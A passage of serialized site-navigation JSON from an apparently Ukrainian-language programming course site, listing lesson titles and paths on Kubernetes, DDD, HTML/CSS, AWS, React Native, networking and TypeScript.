застосунки","\u002Ftools\u002Fdocker\u002Fcompose-multi-service","07.tools\u002F01.docker\u002F17.compose-multi-service",{"title":2963,"icon":2964,"path":2965,"stem":2966,"children":2967},"Kubernetes","simple-icons:kubernetes","\u002Ftools\u002Fkubernetes","07.tools\u002F02.kubernetes\u002Findex",[2968,2970,2974,2978,2982,2986,2990,2994,2998],{"title":2969,"path":2965,"stem":2966},"Kubernetes: від розробки до production",{"title":2971,"path":2972,"stem":2973},"Kubernetes — коли Docker Compose більше не вистачає","\u002Ftools\u002Fkubernetes\u002Fwhy-kubernetes","07.tools\u002F02.kubernetes\u002F01.why-kubernetes",{"title":2975,"path":2976,"stem":2977},"Архітектура Kubernetes — анатомія кластера","\u002Ftools\u002Fkubernetes\u002Fkubernetes-architecture","07.tools\u002F02.kubernetes\u002F02.kubernetes-architecture",{"title":2979,"path":2980,"stem":2981},"Локальне середовище — minikube, kind та k3s","\u002Ftools\u002Fkubernetes\u002Flocal-environment","07.tools\u002F02.kubernetes\u002F03.local-environment",{"title":2983,"path":2984,"stem":2985},"Pod — атомарна одиниця Kubernetes","\u002Ftools\u002Fkubernetes\u002Fpods-and-containers","07.tools\u002F02.kubernetes\u002F04.pods-and-containers",{"title":2987,"path":2988,"stem":2989},"Патерни використання Pod","\u002Ftools\u002Fkubernetes\u002Fpod-patterns","07.tools\u002F02.kubernetes\u002F05.pod-patterns",{"title":2991,"path":2992,"stem":2993},"Deployment — декларативне управління Pod","\u002Ftools\u002Fkubernetes\u002Fdeployment-basics","07.tools\u002F02.kubernetes\u002F06.deployment-basics",{"title":2995,"path":2996,"stem":2997},"Rolling Updates та управління життєвим циклом Deployment","\u002Ftools\u002Fkubernetes\u002Fdeployment-rolling-updates","07.tools\u002F02.kubernetes\u002F07.deployment-rolling-updates",{"title":2999,"path":3000,"stem":3001},"Service — мережева абстракція для Pod","\u002Ftools\u002Fkubernetes\u002Fservices-networking","07.tools\u002F02.kubernetes\u002F08.services-networking",{"title":3003,"icon":3004,"path":3005,"stem":3006,"children":3007,"page":59},"Software Engineering","i-lucide-code-2","\u002Fsoftware-engineering","09.software-engineering",[3008,3012,3016,3020,3024,3028,3032,3036,3040,3044,3048],{"title":3009,"path":3010,"stem":3011},"1. Аналіз предметної області. Експертні знання та складність","\u002Fsoftware-engineering\u002Fintro-subdomains","09.software-engineering\u002F01.intro-subdomains",{"title":3013,"path":3014,"stem":3015},"2. Обмежені контексти. Інтеграція обмежених контекстів","\u002Fsoftware-engineering\u002Fintegrating-limited-contexts","09.software-engineering\u002F02.integrating-limited-contexts",{"title":3017,"path":3018,"stem":3019},"3. Реалізація простої бізнес-логіки","\u002Fsoftware-engineering\u002Fsimple","09.software-engineering\u002F03.simple",{"title":3021,"path":3022,"stem":3023},"4. Опрацювання складної бізнес-логіки","\u002Fsoftware-engineering\u002Fcomplex-business-logic","09.software-engineering\u002F04.complex-business-logic",{"title":3025,"path":3026,"stem":3027},"5. Моделювання фактора часу. Подієво-орієнтована архітектура.","\u002Fsoftware-engineering\u002Fmodelling-the-time-factor","09.software-engineering\u002F05.modelling-the-time-factor",{"title":3029,"path":3030,"stem":3031},"6. Архітектурні патерни","\u002Fsoftware-engineering\u002Farchitectural-patterns","09.software-engineering\u002F06.architectural-patterns",{"title":3033,"path":3034,"stem":3035},"Паттерни взаємодії","\u002Fsoftware-engineering\u002Fpatterns-of-interaction","09.software-engineering\u002F07.patterns-of-interaction",{"title":3037,"path":3038,"stem":3039},"Евристика проєктування","\u002Fsoftware-engineering\u002Fdesign-heuristics","09.software-engineering\u002F08.design-heuristics",{"title":3041,"path":3042,"stem":3043},"Еволюція проєктних рішень","\u002Fsoftware-engineering\u002Fevolution-of-design-solutions","09.software-engineering\u002F09.evolution-of-design-solutions",{"title":3045,"path":3046,"stem":3047},"EventStorming","\u002Fsoftware-engineering\u002Feventstorming","09.software-engineering\u002F10.eventstorming",{"title":3049,"path":3050,"stem":3051},"DDD на практиці","\u002Fsoftware-engineering\u002Fddd-in-practice","09.software-engineering\u002F11.ddd-in-practice",{"title":3053,"icon":943,"path":3054,"stem":3055,"children":3056,"page":59},"DDD","\u002Fddd","10.ddd",[3057,3061,3065,3069,3073,3077,3081,3085,3089,3093,3097,3101,3105],{"title":3058,"path":3059,"stem":3060},"Аналіз предметної області","\u002Fddd\u002Fdomain-analysis","10.ddd\u002F01.domain-analysis",{"title":3062,"path":3063,"stem":3064},"Експертні знання про предметну область","\u002Fddd\u002Fdomain-expert-knowledge","10.ddd\u002F02.domain-expert-knowledge",{"title":3066,"path":3067,"stem":3068},"Як осмислити складність предметної області","\u002Fddd\u002Fmanaging-domain-complexity","10.ddd\u002F03.managing-domain-complexity",{"title":3070,"path":3071,"stem":3072},"Інтеграція обмежених контекстів","\u002Fddd\u002Fbounded-context-integration","10.ddd\u002F04.bounded-context-integration",{"title":3074,"path":3075,"stem":3076},"Реалізація простої бізнес-логіки","\u002Fddd\u002Fsimple-business-logic","10.ddd\u002F05.simple-business-logic",{"title":3078,"path":3079,"stem":3080},"Обробка складної бізнес-логіки","\u002Fddd\u002Fcomplex-business-logic","10.ddd\u002F06.complex-business-logic",{"title":3082,"path":3083,"stem":3084},"Моделювання фактора часу","\u002Fddd\u002Ftime-modeling","10.ddd\u002F07.time-modeling",{"title":3086,"path":3087,"stem":3088},"Глава 8. Архітектурні Патерни","\u002Fddd\u002Farchitectural-patterns","10.ddd\u002F08.architectural-patterns",{"title":3090,"path":3091,"stem":3092},"Глава 9. Патерни Взаємодії","\u002Fddd\u002Finteraction-patterns","10.ddd\u002F09.interaction-patterns",{"title":3094,"path":3095,"stem":3096},"Глава 10. Проектні Евристики","\u002Fddd\u002Fdesign-heuristics","10.ddd\u002F10.design-heuristics",{"title":3098,"path":3099,"stem":3100},"Глава 11. Еволюція Проектних Рішень","\u002Fddd\u002Fevolution-of-design-decisions","10.ddd\u002F11.evolution-of-design-decisions",{"title":3102,"path":3103,"stem":3104},"Глава 12. EventStorming","\u002Fddd\u002Fevent-storming","10.ddd\u002F12.event-storming",{"title":3106,"path":3107,"stem":3108},"Глава 13. DDD на Практиці","\u002Fddd\u002Fddd-in-practice","10.ddd\u002F13.ddd-in-practice",{"title":3110,"icon":3111,"path":3112,"stem":3113,"children":3114,"page":59},"Media Streaming","i-lucide-video","\u002Fmedia-streaming","11.media-streaming",[3115,3119,3123,3127,3131,3135,3139],{"title":3116,"path":3117,"stem":3118},"01. Магія Стрімінгу: Що відбувається, коли ви натискаєте \"Play\"","\u002Fmedia-streaming\u002Fintroduction","11.media-streaming\u002F01.introduction",{"title":3120,"path":3121,"stem":3122},"02. Анатомія Медіа: Кодеки, Контейнери та Стиснення","\u002Fmedia-streaming\u002Faudio-video-anatomy","11.media-streaming\u002F02.audio-video-anatomy",{"title":3124,"path":3125,"stem":3126},"03. The Gym: FFmpeg Deep Dive","\u002Fmedia-streaming\u002Fffmpeg-gym","11.media-streaming\u002F03.ffmpeg-gym",{"title":3128,"path":3129,"stem":3130},"04. HLS Protocol: HTTP Live Streaming у Деталях","\u002Fmedia-streaming\u002Fhls-protocol","11.media-streaming\u002F04.hls-protocol",{"title":3132,"path":3133,"stem":3134},"05. DASH Protocol: Відкритий Стандарт","\u002Fmedia-streaming\u002Fdash-protocol","11.media-streaming\u002F05.dash-protocol",{"title":3136,"path":3137,"stem":3138},"06. Масштабування: CDN та Adaptive Bitrate","\u002Fmedia-streaming\u002Fcdn-and-adaptive-bitrate","11.media-streaming\u002F06.cdn-and-adaptive-bitrate",{"title":3140,"path":3141,"stem":3142},"07. Війна із Затримкою (Latency)","\u002Fmedia-streaming\u002Frealtime-latency","11.media-streaming\u002F07.realtime-latency",{"title":3144,"icon":3145,"path":3146,"stem":3147,"children":3148,"page":59},"HTML & CSS","i-devicon-html5","\u002Fhtml-css","12.html-css",[3149,3153,3157,3161,3165,3169,3173,3177,3181,3185,3189,3193,3197,3201,3205,3209,3213,3217,3221,3225,3229,3233,3237,3241,3245,3249,3253,3257,3261,3265],{"title":3150,"path":3151,"stem":3152},"Вступ до HTML. Структура документа","\u002Fhtml-css\u002Fintro-html-structure","12.html-css\u002F01.intro-html-structure",{"title":3154,"path":3155,"stem":3156},"Форматування тексту в HTML","\u002Fhtml-css\u002Fhtml-text-formatting","12.html-css\u002F02.html-text-formatting",{"title":3158,"path":3159,"stem":3160},"Посилання та зображення в HTML","\u002Fhtml-css\u002Fhtml-links-images","12.html-css\u002F03.html-links-images",{"title":3162,"path":3163,"stem":3164},"Списки та таблиці в HTML","\u002Fhtml-css\u002Fhtml-lists-tables","12.html-css\u002F04.html-lists-tables",{"title":3166,"path":3167,"stem":3168},"Форми в HTML","\u002Fhtml-css\u002Fhtml-forms","12.html-css\u002F05.html-forms",{"title":3170,"path":3171,"stem":3172},"Семантичні елементи HTML5","\u002Fhtml-css\u002Fhtml-semantic-elements","12.html-css\u002F06.html-semantic-elements",{"title":3174,"path":3175,"stem":3176},"Мультимедіа та розширені елементи HTML","\u002Fhtml-css\u002Fhtml-multimedia-advanced","12.html-css\u002F07.html-multimedia-advanced",{"title":3178,"path":3179,"stem":3180},"Мікророзмітка та SEO в HTML","\u002Fhtml-css\u002Fhtml-microdata-seo","12.html-css\u002F08.html-microdata-seo",{"title":3182,"path":3183,"stem":3184},"Вступ до CSS. Селектори та специфічність","\u002Fhtml-css\u002Fcss-intro-selectors","12.html-css\u002F09.css-intro-selectors",{"title":3186,"path":3187,"stem":3188},"Блокова модель CSS. Відступи. Box Sizing","\u002Fhtml-css\u002Fcss-box-model","12.html-css\u002F10.css-box-model",{"title":3190,"path":3191,"stem":3192},"Розміри у CSS: повний довідник одиниць і ключових слів","\u002Fhtml-css\u002F10a.css-sizing","12.html-css\u002F10a.css-sizing",{"title":3194,"path":3195,"stem":3196},"Типографіка в CSS. Шрифти та текст","\u002Fhtml-css\u002Fcss-typography","12.html-css\u002F11.css-typography",{"title":3198,"path":3199,"stem":3200},"Кольори та фони в CSS","\u002Fhtml-css\u002Fcss-colors-backgrounds","12.html-css\u002F12.css-colors-backgrounds",{"title":3202,"path":3203,"stem":3204},"Тіні та фільтри в CSS","\u002Fhtml-css\u002F12b.css-shadows-filters","12.html-css\u002F12b.css-shadows-filters",{"title":3206,"path":3207,"stem":3208},"CSS Flexbox: Фундамент гнучких макетів","\u002Fhtml-css\u002Fcss-flexbox-fundamentals","12.html-css\u002F13.css-flexbox-fundamentals",{"title":3210,"path":3211,"stem":3212},"CSS Flexbox: Вирівнювання та Позиціонування","\u002Fhtml-css\u002Fcss-flexbox-alignment-sizing-and-patterns","12.html-css\u002F14.css-flexbox-alignment-sizing-and-patterns",{"title":3214,"path":3215,"stem":3216},"CSS Grid. Двовимірний макет. Частина 1","\u002Fhtml-css\u002Fcss-layout-grid","12.html-css\u002F15.css-layout-grid",{"title":3218,"path":3219,"stem":3220},"CSS Grid. Двовимірний макет. Частина 2","\u002Fhtml-css\u002Fcss-layout-grid-advanced","12.html-css\u002F16.css-layout-grid-advanced",{"title":3222,"path":3223,"stem":3224},"Позиціонування в CSS. Z-index. Stacking Context","\u002Fhtml-css\u002Fcss-positioning","12.html-css\u002F17.css-positioning",{"title":3226,"path":3227,"stem":3228},"CSS Анімації та Переходи","\u002Fhtml-css\u002Fcss-animations-transitions","12.html-css\u002F18.css-animations-transitions",{"title":3230,"path":3231,"stem":3232},"Адаптивний дизайн. Media Queries. Частина 1","\u002Fhtml-css\u002Fcss-responsive-media-queries","12.html-css\u002F19.css-responsive-media-queries",{"title":3234,"path":3235,"stem":3236},"Адаптивний дизайн. Частина 2: clamp(), Container Queries, @layer","\u002Fhtml-css\u002Fcss-responsive-advanced","12.html-css\u002F20.css-responsive-advanced",{"title":3238,"path":3239,"stem":3240},"CSS Custom Properties. Методології. Сучасний CSS","\u002Fhtml-css\u002Fcss-variables-methodologies","12.html-css\u002F21.css-variables-methodologies",{"title":3242,"path":3243,"stem":3244},"Сучасний CSS 2023–2025: Нові можливості","\u002Fhtml-css\u002Fcss-modern-features","12.html-css\u002F22.css-modern-features",{"title":3246,"path":3247,"stem":3248},"CSS Nesting, @layer, @scope та @property: нативний препроцесор","\u002Fhtml-css\u002F22a.css-nesting-modern-syntax","12.html-css\u002F22a.css-nesting-modern-syntax",{"title":3250,"path":3251,"stem":3252},"CSS для форм та інтерактивних станів","\u002Fhtml-css\u002Fcss-forms-interactive-states","12.html-css\u002F23.css-forms-interactive-states",{"title":3254,"path":3255,"stem":3256},"Доступність у CSS (CSS Accessibility)","\u002Fhtml-css\u002Fcss-accessibility","12.html-css\u002F24.css-accessibility",{"title":3258,"path":3259,"stem":3260},"CSS-функції та сучасні sizing primitives","\u002Fhtml-css\u002Fcss-functions-sizing","12.html-css\u002F25.css-functions-sizing",{"title":3262,"path":3263,"stem":3264},"Rendering Pipeline і CSS Performance","\u002Fhtml-css\u002Fcss-rendering-performance","12.html-css\u002F26.css-rendering-performance",{"title":3266,"path":3267,"stem":3268},"CSS Best Practices: типові ситуації та правильні рішення","\u002Fhtml-css\u002Fcss-best-practices","12.html-css\u002F27.css-best-practices",{"title":3270,"path":3271,"stem":3272,"children":3273,"page":59},"AWS","\u002Faws","13.aws",[3274,3278,3282,3286,3290,3294,3298,3302,3306,3310,3314,3318,3322,3326,3330,3334,3338,3342],{"title":3275,"path":3276,"stem":3277},"Реєстрація AWS акаунту та студентські програми","\u002Faws\u002Faccount-registration","13.aws\u002F00.account-registration",{"title":3279,"path":3280,"stem":3281},"Вступ до хмарних обчислень та AWS","\u002Faws\u002Fintroduction-to-cloud","13.aws\u002F01.introduction-to-cloud",{"title":3283,"path":3284,"stem":3285},"AWS IAM — Identity and Access Management","\u002Faws\u002Fiam","13.aws\u002F02.iam",{"title":3287,"path":3288,"stem":3289},"AWS IAM CLI — Довідник команд","\u002Faws\u002F02a.iam-doc","13.aws\u002F02a.iam-doc",{"title":3291,"path":3292,"stem":3293},"Docker та контейнеризація в AWS — ECR, ECS та Fargate","\u002Faws\u002Fdocker-ecs","13.aws\u002F03.docker-ecs",{"title":3295,"path":3296,"stem":3297},"AWS ECR \u002F ECS CLI — Довідник команд","\u002Faws\u002F03a.docker-ecs-doc","13.aws\u002F03a.docker-ecs-doc",{"title":3299,"path":3300,"stem":3301},"Amazon EC2 — Elastic Compute Cloud","\u002Faws\u002Fec2","13.aws\u002F04.ec2",{"title":3303,"path":3304,"stem":3305},"AWS EC2 CLI — Довідник команд","\u002Faws\u002F04a.ec2-doc","13.aws\u002F04a.ec2-doc",{"title":3307,"path":3308,"stem":3309},"Elastic Load Balancing та Auto Scaling","\u002Faws\u002Falb-asg","13.aws\u002F05.alb-asg",{"title":3311,"path":3312,"stem":3313},"Amazon S3 — Simple Storage Service","\u002Faws\u002Fs3","13.aws\u002F06.s3",{"title":3315,"path":3316,"stem":3317},"Amazon CloudFront — Content Delivery Network","\u002Faws\u002Fcloudfront","13.aws\u002F07.cloudfront",{"title":3319,"path":3320,"stem":3321},"Amazon RDS — Relational Database Service","\u002Faws\u002Frds","13.aws\u002F08.rds",{"title":3323,"path":3324,"stem":3325},"Amazon DynamoDB — NoSQL Database","\u002Faws\u002Fdynamodb","13.aws\u002F09.dynamodb",{"title":3327,"path":3328,"stem":3329},"AWS Lambda та Serverless Compute","\u002Faws\u002Flambda","13.aws\u002F10.lambda",{"title":3331,"path":3332,"stem":3333},"Amazon Bedrock - Foundation Models, RAG та Agents","\u002Faws\u002Fbedrock","13.aws\u002F22.bedrock",{"title":3335,"path":3336,"stem":3337},"Amazon Rekognition - Комп'ютерний зір","\u002Faws\u002Frekognition","13.aws\u002F23.rekognition",{"title":3339,"path":3340,"stem":3341},"Amazon Textract - Інтелектуальний аналіз документів","\u002Faws\u002Ftextract","13.aws\u002F24.textract",{"title":3343,"path":3344,"stem":3345},"Amazon Polly, Transcribe, Comprehend та Translate","\u002Faws\u002Faudio-nlp-services","13.aws\u002F25.audio-nlp-services",{"title":3347,"path":3348,"stem":3349,"children":3350,"page":59},"Ai Development","\u002Fai-development","14.ai-development",[3351],{"title":3352,"path":3353,"stem":3354,"children":3355,"page":59},"Foundations","\u002Fai-development\u002Ffoundations","14.ai-development\u002F00.foundations",[3356],{"title":3357,"path":3358,"stem":3359},"Модуль 0.1. Що таке Large Language Model (LLM)","\u002Fai-development\u002Ffoundations\u002Fwhat-is-llm","14.ai-development\u002F00.foundations\u002F01.what-is-llm",{"title":3361,"path":3362,"stem":3363,"children":3364,"page":59},"React Native","\u002Freact-native","15.react-native",[3365,3386],{"title":3366,"path":3367,"stem":3368,"children":3369,"page":59},"Version1","\u002Freact-native\u002Fversion1","15.react-native\u002Fversion1",[3370,3374,3378,3382],{"title":3371,"path":3372,"stem":3373},"Що таке React Native","\u002Freact-native\u002Fversion1\u002Fwhat-is-react-native","15.react-native\u002Fversion1\u002F01.what-is-react-native",{"title":3375,"path":3376,"stem":3377},"Як влаштований React Native «під капотом»","\u002Freact-native\u002Fversion1\u002Freact-native-architecture","15.react-native\u002Fversion1\u002F02.react-native-architecture",{"title":3379,"path":3380,"stem":3381},"Від React до React Native: ключові відмінності","\u002Freact-native\u002Fversion1\u002Freact-native-vs-react","15.react-native\u002Fversion1\u002F03.react-native-vs-react",{"title":3383,"path":3384,"stem":3385},"View та Text — фундаментальні будівельні блоки","\u002Freact-native\u002Fversion1\u002Fview-and-text","15.react-native\u002Fversion1\u002F04.view-and-text",{"title":3387,"path":3388,"stem":3389,"children":3390,"page":59},"Version2","\u002Freact-native\u002Fversion2","15.react-native\u002Fversion2",[3391,3395,3399,3403,3407,3411,3415,3419,3423,3427,3431,3435,3439,3443,3447,3451,3455,3459,3463,3467,3471,3475,3479,3483,3487,3491],{"title":3392,"path":3393,"stem":3394},"React Native — навіщо він потрібен","\u002Freact-native\u002Fversion2\u002Fwhy-react-native","15.react-native\u002Fversion2\u002F01.why-react-native",{"title":3396,"path":3397,"stem":3398},"Налаштування середовища розробки","\u002Freact-native\u002Fversion2\u002Fenvironment-setup","15.react-native\u002Fversion2\u002F02.environment-setup",{"title":3400,"path":3401,"stem":3402},"Expo і класичний React Native — два шляхи одного фреймворку","\u002Freact-native\u002Fversion2\u002Fexpo-vs-cli-landscape","15.react-native\u002Fversion2\u002F03.expo-vs-cli-landscape",{"title":3404,"path":3405,"stem":3406},"Середовище Expo — перший запуск","\u002Freact-native\u002Fversion2\u002Fexpo-setup-and-tooling","15.react-native\u002Fversion2\u002F04.expo-setup-and-tooling",{"title":3408,"path":3409,"stem":3410},"Структура проєкту та перші UI-примітиви","\u002Freact-native\u002Fversion2\u002Fproject-structure-and-conventions","15.react-native\u002Fversion2\u002F05.project-structure-and-conventions",{"title":3412,"path":3413,"stem":3414},"Базові компоненти React Native","\u002Freact-native\u002Fversion2\u002Fcore-components","15.react-native\u002Fversion2\u002F06.core-components",{"title":3416,"path":3417,"stem":3418},"Flexbox і layout у React Native","\u002Freact-native\u002Fversion2\u002Fflexbox-and-layout","15.react-native\u002Fversion2\u002F07.flexbox-and-layout",{"title":3420,"path":3421,"stem":3422},"StyleSheet і теми (light \u002F dark)","\u002Freact-native\u002Fversion2\u002Fstylesheet-and-theming","15.react-native\u002Fversion2\u002F08.stylesheet-and-theming",{"title":3424,"path":3425,"stem":3426},"Списки та віртуалізація","\u002Freact-native\u002Fversion2\u002Flists-and-virtualization","15.react-native\u002Fversion2\u002F09.lists-and-virtualization",{"title":3428,"path":3429,"stem":3430},"Форми, ввід і валідація","\u002Freact-native\u002Fversion2\u002Fforms-input-validation","15.react-native\u002Fversion2\u002F10.forms-input-validation",{"title":3432,"path":3433,"stem":3434},"Основи Expo Router","\u002Freact-native\u002Fversion2\u002Fexpo-router-basics","15.react-native\u002Fversion2\u002F11.expo-router-basics",{"title":3436,"path":3437,"stem":3438},"Вкладені навігатори та модалки","\u002Freact-native\u002Fversion2\u002Fnested-navigators-and-modals","15.react-native\u002Fversion2\u002F12.nested-navigators-and-modals",{"title":3440,"path":3441,"stem":3442},"Deep linking і параметри маршрутів","\u002Freact-native\u002Fversion2\u002Fdeep-linking-and-params","15.react-native\u002Fversion2\u002F13.deep-linking-and-params",{"title":3444,"path":3445,"stem":3446},"Робота з мережею та життєвий цикл застосунку","\u002Freact-native\u002Fversion2\u002Fnetworking-and-app-lifecycle","15.react-native\u002Fversion2\u002F14.networking-and-app-lifecycle",{"title":3448,"path":3449,"stem":3450},"Redux Toolkit на мобільних платформах","\u002Freact-native\u002Fversion2\u002Fredux-toolkit-on-mobile","15.react-native\u002Fversion2\u002F15.redux-toolkit-on-mobile",{"title":3452,"path":3453,"stem":3454},"RTK Query на мобільних платформах","\u002Freact-native\u002Fversion2\u002Frtk-query-mobile","15.react-native\u002Fversion2\u002F16.rtk-query-mobile",{"title":3456,"path":3457,"stem":3458},"Автентифікація та Безпечне Зберігання","\u002Freact-native\u002Fversion2\u002Fauth-secure-storage","15.react-native\u002Fversion2\u002F18.auth-secure-storage",{"title":3460,"path":3461,"stem":3462},"Локальне сховище — AsyncStorage, MMKV, SQLite","\u002Freact-native\u002Fversion2\u002Flocal-storage-mmkv-sqlite","15.react-native\u002Fversion2\u002F19.local-storage-mmkv-sqlite",{"title":3464,"path":3465,"stem":3466},"Офлайн-First і синхронізація","\u002Freact-native\u002Fversion2\u002Foffline-first-sync","15.react-native\u002Fversion2\u002F20.offline-first-sync",{"title":3468,"path":3469,"stem":3470},"Камера, медіа та файлова система","\u002Freact-native\u002Fversion2\u002Fcamera-media-filesystem","15.react-native\u002Fversion2\u002F21.camera-media-filesystem",{"title":3472,"path":3473,"stem":3474},"Карти та геолокація","\u002Freact-native\u002Fversion2\u002Fmaps-and-location","15.react-native\u002Fversion2\u002F22.maps-and-location",{"title":3476,"path":3477,"stem":3478},"Жести та дотики","\u002Freact-native\u002Fversion2\u002Fgestures-and-touch","15.react-native\u002Fversion2\u002F23.gestures-and-touch",{"title":3480,"path":3481,"stem":3482},"Анімації з Reanimated","\u002Freact-native\u002Fversion2\u002Freanimated-animations","15.react-native\u002Fversion2\u002F24.reanimated-animations",{"title":3484,"path":3485,"stem":3486},"Push і локальні сповіщення","\u002Freact-native\u002Fversion2\u002Fpush-and-local-notifications","15.react-native\u002Fversion2\u002F25.push-and-local-notifications",{"title":3488,"path":3489,"stem":3490},"Доступність та інтернаціоналізація","\u002Freact-native\u002Fversion2\u002Faccessibility-and-i18n","15.react-native\u002Fversion2\u002F26.accessibility-and-i18n",{"title":3492,"path":3493,"stem":3494},"EAS Build та профілі збірки","\u002Freact-native\u002Fversion2\u002Feas-build-and-profiles","15.react-native\u002Fversion2\u002F29.eas-build-and-profiles",{"title":3496,"path":3497,"stem":3498,"children":3499,"page":59},"Ai Python","\u002Fai-python","16.ai-python",[3500,3504,3508],{"title":3501,"path":3502,"stem":3503},"Вступ до штучного інтелекту та машинного навчання","\u002Fai-python\u002Fintro-to-ai","16.ai-python\u002F01.intro-to-ai",{"title":3505,"path":3506,"stem":3507},"Знайомство з Jupyter Notebook та JupyterLab","\u002Fai-python\u002Fjupyter-notebook","16.ai-python\u002F02.jupyter-notebook",{"title":3509,"path":3510,"stem":3511},"Робота з даними з використанням NumPy і pandas","\u002Fai-python\u002Fnumpy-pandas","16.ai-python\u002F03.numpy-pandas",{"title":3513,"icon":658,"path":3514,"stem":3515,"children":3516,"page":59},"Клієнт-серверна архітектура","\u002Fclient-server-architecture","17.client-server-architecture",[3517,3521],{"title":3518,"path":3519,"stem":3520},"Архітектура клієнт-серверних систем та основи Go","\u002Fclient-server-architecture\u002Fclient-server-architecture-and-go","17.client-server-architecture\u002F01.client-server-architecture-and-go",{"title":3522,"path":3523,"stem":3524},"Система типів та модель пам’яті мови Go","\u002Fclient-server-architecture\u002Ftype-system-and-memory-model","17.client-server-architecture\u002F02.type-system-and-memory-model",{"title":3526,"icon":1946,"path":3527,"stem":3528,"children":3529,"page":59},"Розробка WEB-застосувань","\u002Fweb-development","18.web-development",[3530,3575,3613,3642],{"title":3531,"icon":658,"path":3532,"stem":3533,"children":3534,"page":59},"Архітектура комп'ютерних мереж та мережеві протоколи","\u002Fweb-development\u002Fnetwork-architecture-and-protocols","18.web-development\u002F01.network-architecture-and-protocols",[3535,3539,3543,3547,3551,3555,3559,3563,3567,3571],{"title":3536,"path":3537,"stem":3538},"Еволюція веброзробки та модель клієнт-сервер","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fweb-evolution-client-server","18.web-development\u002F01.network-architecture-and-protocols\u002F01.web-evolution-client-server",{"title":3540,"path":3541,"stem":3542},"Еталонна модель OSI","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fosi-model","18.web-development\u002F01.network-architecture-and-protocols\u002F02.osi-model",{"title":3544,"path":3545,"stem":3546},"Стек протоколів TCP\u002FIP","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Ftcp-ip-stack","18.web-development\u002F01.network-architecture-and-protocols\u002F03.tcp-ip-stack",{"title":3548,"path":3549,"stem":3550},"IP-адресація, порти та сокети","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fip-addressing-ports-sockets","18.web-development\u002F01.network-architecture-and-protocols\u002F04.ip-addressing-ports-sockets",{"title":3552,"path":3553,"stem":3554},"Протоколи TCP та UDP","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Ftcp-udp-protocols","18.web-development\u002F01.network-architecture-and-protocols\u002F05.tcp-udp-protocols",{"title":3556,"path":3557,"stem":3558},"Система доменних імен DNS","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fdns-system","18.web-development\u002F01.network-architecture-and-protocols\u002F06.dns-system",{"title":3560,"path":3561,"stem":3562},"Протокол SMTP та поштові протоколи","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fsmtp-email-protocols","18.web-development\u002F01.network-architecture-and-protocols\u002F07.smtp-email-protocols",{"title":3564,"path":3565,"stem":3566},"Протокол WebSocket","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fwebsocket-protocol","18.web-development\u002F01.network-architecture-and-protocols\u002F08.websocket-protocol",{"title":3568,"path":3569,"stem":3570},"Протокол SSH","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fssh-protocol","18.web-development\u002F01.network-architecture-and-protocols\u002F09.ssh-protocol",{"title":3572,"path":3573,"stem":3574},"Огляд сучасних серверних технологій","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fmodern-backend-technologies","18.web-development\u002F01.network-architecture-and-protocols\u002F10.modern-backend-technologies",{"title":3576,"icon":3577,"path":3578,"stem":3579,"children":3580,"page":59},"Протокол HTTP та захищена передача даних HTTPS","i-lucide-lock","\u002Fweb-development\u002Fhttp-and-https","18.web-development\u002F02.http-and-https",[3581,3585,3589,3593,3597,3601,3605,3609],{"title":3582,"path":3583,"stem":3584},"Вступ до протоколу HTTP та еволюція веб-технологій","\u002Fweb-development\u002Fhttp-and-https\u002Fintroduction-and-evolution","18.web-development\u002F02.http-and-https\u002F01.introduction-and-evolution",{"title":3586,"path":3587,"stem":3588},"Анатомія HTTP-запиту","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-request-structure","18.web-development\u002F02.http-and-https\u002F02.http-request-structure",{"title":3590,"path":3591,"stem":3592},"Анатомія HTTP-відповіді","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-response-structure","18.web-development\u002F02.http-and-https\u002F03.http-response-structure",{"title":3594,"path":3595,"stem":3596},"Методи HTTP та їхня семантика","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-methods","18.web-development\u002F02.http-and-https\u002F04.http-methods",{"title":3598,"path":3599,"stem":3600},"Коди статусу HTTP та їхнє призначення","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-status-codes","18.web-development\u002F02.http-and-https\u002F05.http-status-codes",{"title":3602,"path":3603,"stem":3604},"HTTP-заголовки та їхнє призначення","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-headers","18.web-development\u002F02.http-and-https\u002F06.http-headers",{"title":3606,"path":3607,"stem":3608},"CORS та механізми безпеки HTTP","\u002Fweb-development\u002Fhttp-and-https\u002Fcors-and-security","18.web-development\u002F02.http-and-https\u002F07.cors-and-security",{"title":3610,"path":3611,"stem":3612},"HTTPS та криптографічні основи TLS","\u002Fweb-development\u002Fhttp-and-https\u002Fhttps-and-tls","18.web-development\u002F02.http-and-https\u002F08.https-and-tls",{"title":3614,"icon":2326,"path":3615,"stem":3616,"children":3617,"page":59},"Система типів мови TypeScript","\u002Fweb-development\u002Ftypescript-type-system","18.web-development\u002F03.typescript-type-system",[3618,3622,3626,3630,3634,3638],{"title":3619,"path":3620,"stem":3621},"Знайомство з TypeScript Compiler","\u002Fweb-development\u002Ftypescript-type-system\u002Fintroduction-compiler-config","18.web-development\u002F03.typescript-type-system\u002F01.introduction-compiler-config",{"title":3623,"path":3624,"stem":3625},"Примітивні типи даних: string, number, boolean","\u002Fweb-development\u002Ftypescript-type-system\u002Fprimitive-special-types","18.web-development\u002F03.typescript-type-system\u002F02.primitive-special-types",{"title":3627,"path":3628,"stem":3629},"Масиви, кортежі та об","\u002Fweb-development\u002Ftypescript-type-system\u002Farrays-tuples-objects","18.web-development\u002F03.typescript-type-system\u002F03.arrays-tuples-objects",{"title":3631,"path":3632,"stem":3633},"Union типи, Intersection типи та літеральні типи","\u002Fweb-development\u002Ftypescript-type-system\u002Funion-intersection-literals","18.web-development\u002F03.typescript-type-system\u002F04.union-intersection-literals",{"title":3635,"path":3636,"stem":3637},"Type Narrowing (звуження типів)","\u002Fweb-development\u002Ftypescript-type-system\u002Ftype-narrowing","18.web-development\u002F03.typescript-type-system\u002F05.type-narrowing",{"title":3639,"path":3640,"stem":3641},"Типізація 